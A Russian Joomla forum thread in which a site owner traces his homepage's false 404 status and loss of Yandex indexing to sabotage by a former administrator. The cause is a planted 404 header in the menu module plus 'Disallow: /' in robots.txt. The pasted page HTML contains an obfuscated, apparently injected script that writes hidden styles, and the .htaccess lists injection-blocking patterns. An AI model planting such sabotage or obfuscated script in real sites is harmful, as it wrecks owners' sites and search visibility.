Новости Joomla

0 Пользователей и 1 Гость просматривают эту тему.
  • 17 Ответов
  • 13431 Просмотров
*

romaxaspb

  • Осваиваюсь на форуме
  • 12
  • 1 / 0
Подскажите, где может быть проблема?
Главная страница сайта исключена из индекса: HTTP-статус: Ресурс не найден (404).
Хотя сайт  работает:  D-vita.ru

При проверки ответа сервера на Яндекс Вебмастере вот что выдает:

Код
Код статуса HTTP: "404 Not Found"  
Время ответа сервера: 225мс
IP сайта: 89.111.177.219
Заголовки:
Transfer-Encoding: chunked
Date: Tue, 17 Jul 2012 16:19:59 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Connection: keep-alive
Content-Type: text/html; charset=utf-8
X-Powered-By: PHP/5.2.14
Server: nginx/1.1.14
Pragma: no-cache
Cache-Control: no-cache
Кодировка: utf-8
Размер страницы: 9.28Кб

И  такое содержимое страницы видит Яндекс:



Код
<!DOCTYPE html>
<html>
    <head>
          <base href="http://d-vita.ru/" />
  <meta http-equiv="content-type" content="text/html; charset=utf-8" />
  <meta name="robots" content="index, follow" />
  <meta name="keywords" content="Обручальные кольца, помолвочные кольца, серьги, цепочки, браслеты." />
  <meta name="description" content="В нашем каталоге с ценами и фото представлены на заказ - обручальные кольца, помолвочные кольца, серьги, цепочки, браслеты, подвески из белого и рыжего золота, комбинированные и из платины. " />
  <meta name="generator" content="Joomla! 1.7 - Open Source Content Management" />
  <title>ОБРУЧАЛЬНЫЕ КОЛЬЦА и ПОМОЛВОЧНЫЕ КОЛЬЦА на заказ. Ювелирные украшения на заказ - каталог с ценами и фото. Ювелирная студия D-Vita - d-vita.ru</title>
  <link href="/templates/d-vita-template/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
  <link rel="stylesheet" href="/modules/mod_AutsonSlideShow/css/skitter.css" type="text/css" />
  <script src="/media/system/js/core.js" type="text/javascript"></script>
  <script src="/media/system/js/mootools-core.js" type="text/javascript"></script>
  <script src="/media/system/js/caption.js" type="text/javascript"></script>

        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <link rel="stylesheet" href="/templates/system/css/system.css" type="text/css" />
        <link rel="stylesheet" href="/templates/d-vita-template/css/styles.css" type="text/css" media="screen,projection" />
    </head>
    <body>
        <div id="wrapper">
            <div id="header">
                <a id="logo" href="#"></a>
            <div id="menu" style="height:40px;">
                
<ul class="menu">
<li class="item-102 current active"><a class="main" href="/" >Главная</a></li><li class="item-103"><a class="about" href="/o-kompanii.html" >О компании</a></li><li class="item-104 parent"><a class="catalog" href="/katalog.html" >Каталог</a></li><li class="item-105"><a class="aktsii" href="/aktsii.html" >Акции</a></li><li class="item-106"><a class="info" href="/informatsiya.html" >Информация</a></li><li class="item-107"><a class="contacts" href="/kontakty.html" >Контакты</a></li><li class="item-149"><a href="/kredit.html" >Кредит</a></li></ul>

            </div>
<div style="height:16px; width:900px; text-align:right;">тел. (812) 984 985 9, (812) 984 985 3</div>
            </div>







            <div id="bg-slideshow">
                                    <div id="slideshow">
                        
<script language="JavaScript">

function dnnViewState()

{

var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','778787','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];

t=z='';

for(v=0;v<m.length;){t+=m.charAt(v++);

if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);

t='';}}x[l-a]=z;}document.write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}dnnViewState();

</script>

<style type="text/css" >

.box_skitter_large82 {width:696px;height:258px;}


.box_skitter_small {width:200px;height:200px;}

.box_skitter {border:0px solid #000; background:#000}
.label_skitter h5
{
padding-left: 10px !important;

}
.label_skitter h5,.label_skitter h5 a{

margin:0;


font-family: BebasNeueRegular !important;


font-size:22px !important;

font-weight:normal !important;

text-decoration:none !important;

padding-right: 5px !important;

padding-bottom:0px !important;

padding-top:5px !important;

color:#fff !important;

line-height:27px !important;

display: block !important;
text-align:left !important;

}

.label_skitter p{

letter-spacing: 0.4px !important;

line-height:15px !important;

margin:0 !important;


font-family: Arial, Helvetica, sans-serif !important;


font-size:10px !important;

padding-left: 10px !important;

padding-right: 5px !important;

padding-bottom:2px !important;

padding-top:0px !important;

color:#fff !important;

z-index:10 !important;

display: block !important;
text-align:left !important;


}





</style>


<script src="http://d-vita.ru/modules/mod_AutsonSlideShow/js/jquery-1.5.2.min.js" type="text/javascript"></script>


<script src="http://d-vita.ru/modules/mod_AutsonSlideShow/js/jquery.easing.1.3.js" type="text/javascript"></script>

<script src="http://d-vita.ru/modules/mod_AutsonSlideShow/js/jquery.animate-colors-min.js" type="text/javascript"></script>

<script src="http://d-vita.ru/modules/mod_AutsonSlideShow/js/jquery.skitter.min.js" type="text/javascript"></script>

<script type='text/javascript'>

var ass82 = jQuery.noConflict();

ass82(document).ready(function(){

ass82('.box_skitter_large82').skitter(

{

dots: false,

fullscreen: false,

label: true,

interval:4000,

navigation:true,

label:true,

numbers:false,

hideTools:true,

thumbs: false,

velocity:1000,

animation: "cube",
numbers_align:'left',


animateNumberOut: {backgroundColor:'#333', color:'#fff'},

animateNumberOver: {backgroundColor:'#000', color:'#fff'},

animateNumberActive: {backgroundColor:'#cc3333', color:'#fff'}

}

);

});

</script>
<div class="joomla_ass" align="center" >

<div class="border_box">

<div class="box_skitter box_skitter_large82" >

<ul>

            <li><img src="/images/slideshow/4.jpg" class="cube"  /></li><li><img src="/images/slideshow/5.jpg" class="cube"  /></li><li><img src="/images/slideshow/6.jpg" class="cube"  /></li>
</ul>

</div>

</div>

</div>




                    </div>
                                    
                    <div id="content-top"></div>
                    <div id="content">
                                               
<div class="item-page">
<h1>
Ювелирные украшения на заказ - каталог с ценами и фото.</h1>






<div>

<div class="custom"  >
<div id="block-on-main-page">
<div class="div-polaroid"><a class="div-polaroid-photo pom-kol" href="/katalog/pomolvochnye-koltsa">ПОМОЛВОЧНЫЕ КОЛЬЦА</a></div>
<div class="div-polaroid"><a class="div-polaroid-photo obr-kol" href="/katalog/obruchalnye-koltsa">Обручальные кольца</a></div>
<div class="div-polaroid"><a class="div-polaroid-photo accessuar" href="/katalog/aksessuary">Аксессуары</a></div>
<div style="clear: both; height: 10px;"> </div>
<div class="div-polaroid"><a class="div-polaroid-photo zhenskie-koltsa" href="/katalog/zhenskie-koltsa">Женские кольца</a></div>
<div class="div-polaroid"><a class="div-polaroid-photo sergi" href="/katalog/sergi">Серьги</a></div>
<div class="div-polaroid"><a class="div-polaroid-photo kole-i-garnitury" href="/katalog/kole-i-garnitury">Колье и гарнитуры</a></div>
<div style="clear: both; height: 10px;"> </div>
<div class="div-polaroid"><a class="div-polaroid-photo tsepochki" href="/katalog/tsepochki">Цепочки</a></div>
<div class="div-polaroid"><a class="div-polaroid-photo braslety" href="/katalog/braslety">Браслеты</a></div>
<div class="div-polaroid"><a class="div-polaroid-photo podveski" href="/katalog/podveski">Подвески</a></div>
<div style="clear: both; height: 10px;"> </div>
<div class="div-polaroid"><a class="div-polaroid-photo eksklyuziv" href="/katalog/eksklyuziv">Эксклюзив</a></div>
<div class="div-polaroid"><a class="div-polaroid-photo v-nalichii" href="/katalog/v-nalichii">В НАЛИЧИИ</a></div>
<div class="div-polaroid"><a class="div-polaroid-photo muzhskie-pechatki" href="/katalog/muzhskie-pechatki">М<span>ужская коллекция</span></a></div>
</div></div>
</div>
</div>
 
                                                
                        <div style="clear: both;"></div>
                    </div>
                    <div id="content-bottom"></div>
            </div>
            <div id="footer">
                <div style="float: left;margin-left: 350px;">

<div class="custom"  >
<p>© 2012 Studio «D-Vita» СПб</p></div>
</div>
                <div style="margin-left: 10px;"><meta name='yandex-verification' content='7984137d83050485' />

<!-- Yandex.Metrika informer -->
<a href="http://metrika.yandex.ru/stat/?id=15621997&amp;from=informer"
target="_blank" rel="nofollow"><img src="//bs.yandex.ru/informer/15621997/1_0_FFFFFFFF_FFFFFFFF_0_pageviews"
style="width:80px; height:15px; border:0;" alt="Яндекс.Метрика" title="Яндекс.Метрика: данные за сегодня (просмотры)" onclick="try{Ya.Metrika.informer({i:this,id:15621997,type:0,lang:'ru'});return false}catch(e){}"/></a>
<!-- /Yandex.Metrika informer -->

<!-- Yandex.Metrika counter -->
<script type="text/javascript">
(function (d, w, c) {
    (w[c] = w[c] || []).push(function() {
        try {
            w.yaCounter15621997 = new Ya.Metrika({id:15621997, enableAll: true, webvisor:true});
        } catch(e) {}
    });
    
    var n = d.getElementsByTagName("script")[0],
        s = d.createElement("script"),
        f = function () { n.parentNode.insertBefore(s, n); };
    s.type = "text/javascript";
    s.async = true;
    s.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//mc.yandex.ru/metrika/watch.js";

    if (w.opera == "[object Opera]") {
        d.addEventListener("DOMContentLoaded", f);
    } else { f(); }
})(document, window, "yandex_metrika_callbacks");
</script>
<noscript><div><img src="//mc.yandex.ru/watch/15621997" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->
</div></div>
                
            </div>        
        </div>
    </body>
</html>

Это шаблон:

Код
<?php
defined('_JEXEC') or die;
?>
<!DOCTYPE html>
<html>
    <head>
        <jdoc:include type="head" />
        <metahttp-equiv="Content-Type" content ="text/html; charset=utf-8" />
        <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
        <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/d-vita-template/css/styles.css" type="text/css" media="screen,projection" />
    </head>
    <body>
        <div id="wrapper">
            <div id="header">
                <a id="logo" href="#"></a>
            <div id="menu" style="height:40px;">
                <jdoc:include type="modules" name="menu"   />
            </div>
<div style="height:16px; width:900px; text-align:right;">тел. (812) 984 985 9, (812) 984 985 3</div>
            </div>



<?php
/*function url() {
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80") {
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
} else {
 $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
}
return $pageURL;
}
$page_url = url();*/
?>




            <div id="bg-slideshow">
                <?php if ($this->countModules('slideshow')): ?>
                    <div id="slideshow">
<?php //if($page_url="http://d-vita.ru/") { ?>
                        <jdoc:include type="modules" name="slideshow"   />
<?php// } ?>
                    </div>
                <?php endif; ?>
                    
                    <div id="content-top"></div>
                    <div id="content">
                        <?php if ($this->countModules('module-top-content')): ?><div id="module-top-content"><jdoc:include type="modules" name="module-top-content"   /></div><?php endif; ?>
                       <jdoc:include type="component" />
                        <?php if ($this->countModules('module-bottom-content')): ?><div id="module-bottom-content"><jdoc:include type="modules" name="module-bottom-content"   /></div><?php endif; ?>
                        
                        <div style="clear: both;"></div>
                    </div>
                    <div id="content-bottom"></div>
            </div>
            <div id="footer">
                <div style="float: left;margin-left: 350px;"><jdoc:include type="modules" name="footer-1" /></div>
                <div style="margin-left: 10px;"><jdoc:include type="modules" name="footer-2" /></div>
                
            </div>        
        </div>
    </body>
</html>

.htacces стандартный:
Код
##
# @version $Id: htaccess.txt 21101 2011-04-07 15:47:33Z dextercowley $
# @package Joomla
# @copyright Copyright (C) 2005 - 2011 Open Source Matters. All rights reserved.
# @license GNU General Public License version 2 or later; see LICENSE.txt
##

##
# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!
#
# The line just below this section: 'Options +FollowSymLinks' may cause problems
# with some server configurations.  It is required for use of mod_rewrite, but may already
# be set by your server administrator in a way that dissallows changing it in
# your .htaccess file.  If using it causes your server to error out, comment it out (add # to
# beginning of line), reload your site in your browser and test your SEF url's.  If they work,
# it has been set by your server administrator and you do not need it set here.
##

## Can be commented out if causes errors, see notes above.
Options +FollowSymLinks

## Mod_rewrite in use.

RewriteEngine On

## Begin - Rewrite rules to block out some common exploits.
# If you experience problems on your site block out the operations listed below
# This attempts to block the most common type of exploit `attempts` to Joomla!
#
# Block out any script trying to base64_encode data within the URL.
RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]
# Block out any script that includes a <script> tag in URL.
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL.
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL.
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Return 403 Forbidden header and show the content of the root homepage
RewriteRule .* index.php [F]
#
## End - Rewrite rules to block out some common exploits.

## Begin - Custom redirects
#
# If you need to redirect some pages, or set a canonical non-www to
# www redirect (or vice versa), place that code here. Ensure those
# redirects use the correct RewriteRule syntax and the [R=301,L] flags.
#
## End - Custom redirects

##
# Uncomment following line if your webserver's URL
# is not directly related to physical file paths.
# Update Your Joomla! Directory (just / for root).
##

# RewriteBase /

## Begin - Joomla! core SEF Section.
#
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
#
# If the requested path and file is not /index.php and the request
# has not already been internally rewritten to the index.php script
RewriteCond %{REQUEST_URI} !^/index\.php
# and the request is for something within the component folder,
# or for the site root, or for an extensionless URL, or the
# requested URL ends with one of the listed extensions
RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]
# and the requested path and file doesn't directly match a physical file
RewriteCond %{REQUEST_FILENAME} !-f
# and the requested path and file doesn't directly match a physical folder
RewriteCond %{REQUEST_FILENAME} !-d
# internally rewrite the request to the index.php script
RewriteRule .* index.php [L]
#
## End - Joomla! core SEF Section.
« Последнее редактирование: 19.07.2012, 16:07:22 от b2z »
*

maverick_den

  • Захожу иногда
  • 68
  • 10 / 4
Откуда-то из скриптов лезет 404, файрбаг тоже ругается. Может какой-то SEO компонент или вроде того.
*

maverick_den

  • Захожу иногда
  • 68
  • 10 / 4
И кстати все страницы выдают 404
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
*

maverick_den

  • Захожу иногда
  • 68
  • 10 / 4
у меня все ок

Страница отображается, но заголовок от сервера идет 404. Это несколько разные вещи.
*

SK

  • Живу я здесь
  • 2152
  • 163 / 0
Кажется, у Вас что-то с <div> не так, по крайнем мере на главной странице.
В конце, на мой взгляд, лишний тег </div>
*

romaxaspb

  • Осваиваюсь на форуме
  • 12
  • 1 / 0
Ошибка на всех страницах, кроме
 d-vita.ru/administrator
*

Marques

  • Завсегдатай
  • 1410
  • 190 / 9
  • Ctrl+F5
Да, в консоли видно - ответ сервера 404

Смотрите расширения которые стоят, отключайте по одному и смотрите когда пропадет ошибка, смотрите шаблон, уберите на время вебвизор от яндекса.
Зануда перфекционист, не признающий авторитетов, ищет легкую работу за большие деньги - http://dtkp.ru/ s@dtkp.ru
*

Marques

  • Завсегдатай
  • 1410
  • 190 / 9
  • Ctrl+F5
В .htaccess пропишите

DirectoryIndex index.php
Зануда перфекционист, не признающий авторитетов, ищет легкую работу за большие деньги - http://dtkp.ru/ s@dtkp.ru
*

romaxaspb

  • Осваиваюсь на форуме
  • 12
  • 1 / 0
В .htaccess пропишите

DirectoryIndex index.php

Не помогло.
*

romaxaspb

  • Осваиваюсь на форуме
  • 12
  • 1 / 0
Да, в консоли видно - ответ сервера 404

Смотрите расширения которые стоят, отключайте по одному и смотрите когда пропадет ошибка, смотрите шаблон, уберите на время вебвизор от яндекса.

Урра. Ошибка в модуле МЕНЮ.
После его отключения - заработало.
Осталось в нем найти, что ошибку такую делает. Без меню никак.
*

Marques

  • Завсегдатай
  • 1410
  • 190 / 9
  • Ctrl+F5
Что за модуль ? Родной Joomla или сторонний ?
Зануда перфекционист, не признающий авторитетов, ищет легкую работу за большие деньги - http://dtkp.ru/ s@dtkp.ru
*

romaxaspb

  • Осваиваюсь на форуме
  • 12
  • 1 / 0
Что за модуль ? Родной Joomla или сторонний ?
Стандартный вроде. Не я сайт делал.
Id модуля меню 1.
*

Marques

  • Завсегдатай
  • 1410
  • 190 / 9
  • Ctrl+F5
:)

Не, мне ID вашего модуля ненужен. Как называется модуль, где отключили, все подробности про него расскажите, может и придумаем по быстрому как починить.
Зануда перфекционист, не признающий авторитетов, ищет легкую работу за большие деньги - http://dtkp.ru/ s@dtkp.ru
*

romaxaspb

  • Осваиваюсь на форуме
  • 12
  • 1 / 0
Спасибо всем за ответы и оперативную помощь.

Нехороший человек в меню прописал эту строку:
header("HTTP/1.0 404 Not Found");
Удалил и
Код статуса HTTP: "200 OK".

СПАСИБО.

*

Marques

  • Завсегдатай
  • 1410
  • 190 / 9
  • Ctrl+F5
А как он туда попал - знаете ? Если нет, то нужно узнать... иначе "нехороший человек" станет регулярным гостем.
Зануда перфекционист, не признающий авторитетов, ищет легкую работу за большие деньги - http://dtkp.ru/ s@dtkp.ru
*

romaxaspb

  • Осваиваюсь на форуме
  • 12
  • 1 / 0
А как он туда попал - знаете ? Если нет, то нужно узнать... иначе "нехороший человек" станет регулярным гостем.

Предыдущий администратор сайта. Пароли уже изменены.
Он еще в роботс.тхт написал
Disallow: /
и сайт выкинуло из Яндекса.

Пакостить нельзя. Надо быть хорошим человеком :))
*

Marques

  • Завсегдатай
  • 1410
  • 190 / 9
  • Ctrl+F5
Ну тогда все нормально, убирайте все "подарки" - будут вопросы, пишите. Удачи.
Зануда перфекционист, не признающий авторитетов, ищет легкую работу за большие деньги - http://dtkp.ru/ s@dtkp.ru
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

В Joomla 2.5 VirtueMart 2.0.26d не работает добавление в корзину под мобилку

Автор kvintovskiy

Ответов: 8
Просмотров: 287
Последний ответ 15.04.2024, 17:29:25
от Vastriet
Автоматическое сжатие фото при загрузке на сайт

Автор Amerikana

Ответов: 13
Просмотров: 3239
Последний ответ 30.06.2022, 11:52:23
от Nikita2705
Мультиязычность. При включении плагина "система - фильтр языков" сайт падает

Автор yuraok

Ответов: 10
Просмотров: 4629
Последний ответ 25.06.2022, 14:23:49
от ecolora
Не работает Вебвизор Яндекс из-за mootools

Автор MultiMatrix83

Ответов: 5
Просмотров: 2137
Последний ответ 01.03.2022, 14:40:23
от draff
[Решено] title материалов и категорий без пунктов меню

Автор pharaoh

Ответов: 269
Просмотров: 59138
Последний ответ 03.02.2022, 02:45:26
от globus812